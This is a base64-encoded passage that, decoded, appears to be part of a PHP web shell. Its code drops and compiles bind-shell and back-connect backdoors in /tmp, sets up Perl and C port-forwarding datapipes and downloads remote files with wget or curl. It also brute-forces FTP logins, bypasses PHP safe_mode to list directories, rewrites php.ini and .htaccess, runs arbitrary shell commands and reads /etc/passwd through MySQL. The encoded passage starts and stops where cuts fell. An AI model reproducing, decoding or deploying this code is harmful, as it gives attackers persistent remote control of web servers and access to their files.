sKIEB1bmxpbmsoIi90bXAvYmQuYyIpOwogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmQiOwokX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHRyeSBjb25uZWN0IHRvIG5jIC12diAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsKCn0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQxJ10pKQp7CiBjZigiYmRzIiwkcG9ydF9iaW5kX2JkX2NzKTsKICRibGFoID0gZXgoImNobW9kIDc3NyBiZHMiKTsKICRibGFoID0gZXgoIi4vYmRzICIuJF9QT1NUWydwb3J0MSddLiIgJiIpOwogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgaW5zdGFsbCBiYWNrZG9vciBjb25uZWN0IHRvIHBvcnQgIjsKICB9ZWxzZXsKY2YoIi90bXAvYmRzIiwkcG9ydF9iaW5kX2JkX2NzKTsKICRibGFoID0gZXgoImNobW9kIDc3NyBiZHMiKTsKICRibGFoID0gZXgoIi4vdG1wL2JkcyAiLiRfUE9TVFsncG9ydDEnXS4iICYiKTsKIH0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BocF9pbmkxJ10pKQp7CiBjZigicGhwLmluaSIsJHBocF9pbmkxKTsKICAkX1BPU1RbJ2NtZCddPSIg4cft3sfdIMfh0+3dIOPmzyBwaHAuaW5pIMrjINLR2iDj4d0iOwogfQoKIGlmICghZW1wdHkoJF9QT1NUWydodGFjY2VzJ10pKQp7CiBjZigiLmh0YWNjZXNzIiwkaHRhY2Nlcyk7CiAgJF9QT1NUWydjbWQnXT0i4cXt3sfdIMfh4+bPINPf7ebRyu0gaHRhY2Nlc3MgyuMg0tHaIOPh3SI7CiB9CiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2ZpbGVfaW5pJ10pKQp7CiBjZigiaW5pLnBocCIsJHNuaV9yZXMpOwoKICAkX1BPU1RbJ2NtZCddPSIgaHR0cDovL3RhcmdldC5jb20vaW5pLnBocD9zcz1odHRwOi8vc2hlbGwudHh0PyDfx+HKx+HtIHNzIMjH4ePK2+3RIGluaS5waHAgx+HD5CDe4yDI2uPhIMfk3+HmzyDh4+HdIjsKIH0KCmlmKCgkX1BPU1RbJ2ZpbGV0byddICE9ICIiKXx8KCRfUE9TVFsnZmlsZWZyb20nXSAhPSAiIikpCgp7CiRkYXRhID0gaW1wbG9kZSgiIiwgZmlsZSgkX1BPU1RbJ2ZpbGVmcm9tJ10pKTsKJGZwID0gZm9wZW4oJF9QT1NUWydmaWxldG8nXSwgIndiIik7CmZwdXRzKCRmcCwgJGRhdGEpOwokb2sgPSBmY2xvc2UoJGZwKTsKaWYoJG9rKQp7CiRzaXplID0gZmlsZXNpemUoJF9QT1NUWydmaWxldG8nXSkvMTAyNDsKJHNpemVmID0gc3ByaW50ZigiJS4yZiIsICRzaXplKTsKcHJpbnQgIjxjZW50ZXI+PGRpdiBpZD1sb2dvc3RyaXA+RG93bmxvYWQgLSBPSy4KKCIuJHNpemVmLiLqPyk8L2Rpdj48L2NlbnRlcj4iOwp9CmVsc2UKewpwcmludCAiPGNlbnRlcj48ZGl2IGlkPWxvZ29zdHJpcD5Tb21ldGhpbmcgaXMgd3JvbmcuIERvd25sb2FkIC0gSVMgTk9UCk9LPC9kaXY+PC9jZW50ZXI+IjsKfQp9CmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQp7CiBjZigiL3RtcC9iZHBsIiwkcG9ydF9iaW5kX2JkX3BsKTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkcGwiOwogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyB0cnkgY29ubmVjdCB0byBuYyAtdnYgIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOwogJHAyPXdoaWNoKCJwZXJsIik7CiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7CiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLkRhdGFjaGVkXCIiOwp9CmlmICghZW1wdHkoJF9QT1NUWydpcHMnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydHMnXSkpCnsKIGNmKCIvdG1wL2JhY2tzIiwkYmFja19jb25uZWN0cyk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLiIgL3RtcC9iYWNrcyAiLiRfUE9TVFsnaXBzJ10uIiAiLiRfUE9TVFsncG9ydHMnXS4iICYiKTsKICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcHMnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnRzJ10uIiAuLi5cIiI7Cgp9CmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQp7CiBjZigiL3RtcC9iYWNrLmMiLCRiYWNrX2Nvbm5lY3RfYyk7CiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOwogQHVubGluaygiL3RtcC9iYWNrLmMiKTsKICRibGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOwogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOwogJHAyPXdoaWNoKCJwZXJsIik7CiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCIvdG1wL2RwYy5jIiwkZGF0YXBpcGVfYyk7CiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpOwogQHVubGluaygiL3RtcC9kcGMuYyIpOwogJGJsYWggPSBleCgiL3RtcC9kcGMgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAmIik7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOwp9CmlmICghZW1wdHkoJF9QT1NUWydhbGlhcyddKSAmJiBpc3NldCgkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dKSkgeyAkX1BPU1RbJ2NtZCddID0gJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXTsgfQppZiAoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpCnsKaWYoIWVtcHR5KCRfUE9TVFsnbmV3X25hbWUnXSkpIHsgJG5mbiA9ICRfUE9TVFsnbmV3X25hbWUnXTsgfQplbHNlIHsgJG5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsgfQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLAogICAgICAgICAgICAkX1BPU1RbJ2RpciddLiIvIi4kbmZuKQogICAgICBvciBwcmludCgiPGZvbnQgY29sb3I9cmVkIGZhY2U9Rml4ZWRzeXM+PGRpdiBhbGlnbj1jZW50ZXI+RXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTsKfQppZiAoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkKewogc3dpdGNoKCRfUE9TVFsnd2l0aCddKQogewogY2FzZSB3Z2V0OgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOwogYnJlYWs7CiBjYXNlIGZldGNoOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsKIGJyZWFrOwogY2FzZSBseW54OgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsKIGJyZWFrOwogY2FzZSBsaW5rczoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOwogYnJlYWs7CiBjYXNlIEdFVDoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7CiBicmVhazsKIGNhc2UgY3VybDoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsKIGJyZWFrOwogfQp9CmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKQogewogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOwogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQogJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9CiBlbHNlCiAgewogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9CiAgZWxzZQogICB7CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsgICAgICAgIH0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pOyAgICAgICAgfQogICB9CiAgfQogQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7CiAkX1BPU1RbJ2NtZCddID0gIiI7CiB9CgppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpCiB7CiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7CiBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9CiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsKIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQogZWxzZSBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGZvbnQgY29sb3I9cmVkIGZhY2U9dGFob21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOyAkX1BPU1RbJ2NtZCddID0gIiI7IH0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOwogfQplY2hvICR0YWJsZV91cDM7CgppZiAoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiEkc2FmZV9tb2RlKSB7ICRfUE9TVFsnY21kJ109KCEkdW5peCk/KCJkaXIiKTooImxzIC1saWEiKTsgfQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYkc2FmZV9tb2RlKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9CmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsKCgoKCmlmICgkbWV0aG9kPT0iZmlsZSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlKCRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlciA9IGZpbGUoJGZpbGUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXIgYXMgJGEpIHsgZWNobyAkYTsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PiBhbGVydChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW5nOiBmaWxlXCIpOyA8L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09ImZyZWFkIikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZvcGVuKCRmaWxlLCAncicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJGZpbGUsICdyJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9IGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGUpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkc3RyaW5nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD4gYWxlcnQoXCJ1bmFibGUgdG8gcmVhZCBmaWxlOiAkZmlsZSB1c2luZzogZnJlYWRcIik7IDwvc2NyaXB0PiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic2hvd19zb3VyY2UiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzaG93X3NvdXJjZSgkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzaG93X3NvdXJjZSgkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PiBhbGVydChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW5nOiBzaG93X3NvdXJjZVwiKTsgPC9zY3JpcHQ+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icmVhZGZpbGUiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlYWRmaWxlKCRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZWNobyAiPHByZT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZWNobyByZWFkZmlsZSgkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+IGFsZXJ0KFwidW5hYmxlIHRvIHJlYWQgZmlsZTogJGZpbGUgdXNpbmc6IHJlYWRmaWxlXCIpOyA8L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgfQoKZnVuY3Rpb24gZG96aXAxKCRsaW5rLCRmaWxlKQp7CiAgICRmcCA9IEBmb3BlbigkbGluaywiciIpOwogICB3aGlsZSghZmVvZigkZnApKQogICB7CiAgICAgICAkY29udC49IGZyZWFkKCRmcCwxMDI0KTsKICAgfQogICBmY2xvc2UoJGZwKTsKCiAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsKICAgZndyaXRlKCRmcDIsJGNvbnQpOwogICBmY2xvc2UoJGZwMik7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnZnVuemlwJ10pKQp7CmRvemlwMSgkX1BPU1RbJ2Z1bnppcCddLCRfUE9TVFsnZnppcCddKTsKfQppZihlbXB0eSgkX1BPU1RbJ3Jvb3QnXSkpewp9IGVsc2UgewogICAkcm9vdCA9ICRfUE9TVFsncm9vdCddOyB9CgoKCgogICRjID0gMDsgJEQgPSBhcnJheSgpOwogIHNldF9lcnJvcl9oYW5kbGVyKCJlaCIpOwoKICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsKCiAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspewogICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfSI7CgogICRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsKICBnbG9iKCRwYXRoLiIqIik7CgogICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQpewoKICAgICAgICBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzKTsgJGorKyl7CgogICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7CgogICAgICAgICAgICRwcmV2RDIgPSAkRFtjb3VudCgkRCktMV07CiAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOwoKICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMil7CgoKICAgICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKyl7CgogICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfSI7CgogICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07CiAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOwoKICAgICAgICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMyl7CgoKICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKyl7CgogICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7CiAgICAgICAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOwoKICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICB9CgogICAgICAgIH0KCiAgICAgICAgfQoKICB9CgogICREID0gYXJyYXlfdW5pcXVlKCREKTsKCgoKCiAgZm9yZWFjaCgkRCBhcyAkaXRlbSkKICBpZihpc3NldCgkX1JFUVVFU1RbJ3Jvb3QnXSkpCiAgZWNobyAieyRpdGVtfVxuIjsKCgoKCiAgZnVuY3Rpb24gZWgoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpewoKICAgICBnbG9iYWwgJEQsICRjLCAkaTsKICAgICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3RcLi4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBieSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsKICAgICBpZigkbyl7ICREWyRjXSA9ICRvWzJdOyAkYysrO30KCiAgfQoKCgoKCmlmKCRzYWZlX21vZGUpCnsKIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQogewogY2FzZSAnc2FmZV9kaXInOgogICRkPUBkaXIoJGRpcik7CiAgaWYgKCRkKQogICB7CiAgIHdoaWxlIChmYWxzZSE9PSgkZmlsZT0kZC0+cmVhZCgpKSkKICAgIHsKICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7CiAgICAgQGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgbGlzdCAoJGRldiwgJGlub2RlLCAkaW5vZGVwLCAkbmxpbmssICR1aWQsICRnaWQsICRpbm9kZXYsICRzaXplLCAkYXRpbWUsICRtdGltZSwgJGN0aW1lLCAkYnNpemUpID0gc3RhdCgkZmlsZSk7CiAgICAgaWYoISR1bml4KXsKICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsKICAgICBpZihAaXNfZGlyKCRmaWxlKSkgZWNobyAiICA8RElSPiAiOyBlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsKICAgICB9CiAgICAgZWxzZXsKICAgICAkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7CiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOwogICAgIGVjaG8gJGlub2RlLiIgIjsKICAgICBlY2hvIHBlcm1zKEBmaWxlcGVybXMoJGZpbGUpKTsKICAgICBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7CiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOwogICAgIH0KICAgICBlY2hvICIkZmlsZVxuIjsKICAgIH0KICAgJGQtPmNsb3NlKCk7CiAgIH0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLl90ZXh0MjldOwogYnJlYWs7CiAgICB9Cn0KZWxzZSBpZigoJF9QT1NUWydjbWQnXSE9InBocF9ldmFsIikmJigkX1BPU1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpJiYoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikmJigkX1BPU1RbJ2NtZCddIT0iZnRwX2JydXRlIikpewogJGNtZF9yZXAgPSBleCgkX1BPU1RbJ2NtZCddKTsKIGlmKCEkdW5peCkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7IH0KIGVsc2UgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRjbWRfcmVwKS4iXG4iOyB9fQogaWYoJF9QT1NUWydjbWQnXSkKewogc3dpdGNoKCRfUE9TVFsnY21kJ10pCiB7CiAgY2FzZSAndGVzdDEnOgogICRjaSA9IEBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsndGVzdDFfZmlsZSddLiIiKTsKICAkY2YgPSBAY3VybF9leGVjKCRjaSk7CiAgZWNobyAkY2Y7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDInOgogIEBpbmNsdWRlKCRfUE9TVFsndGVzdDJfZmlsZSddKTsKICBicmVhazsKICBjYXNlICdteXNxbGInOgoKJG1ob3N0ID0gImxvY2FsaG9zdCI7CiRtdXNlciA9ICRfUE9TVFsndGVzdDNfbWwnXTsKJG1wYXNzID0gJF9QT1NUWyd0ZXN0M19tcCddOwokbWRiICAgPSAkX1BPU1RbJ3Rlc3QzX21kJ107CiRmaWxlID0gJF9QT1NUWyd0ZXN0M19maWxlJ107CgovLyBkZWZhdWx0IG15c3FsX3JlYWQgZmlsZXMgW3NlcGVyYXRlZCBieTogJzonXToKJG15c3FsX2ZpbGVzX3N0ciA9ICIvZXRjL3Bhc3N3ZDovcHJvYy9jcHVpbmZvOi9ldGMvcmVzb2x2LmNvbmY6L2V0Yy9wcm9mdHBkLmNvbmYiOwokbXlzcWxfZmlsZXMgPSBleHBsb2RlKCc6JywgJG15c3FsX2ZpbGVzX3N0cik7CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVVNFICRtZGIiLAo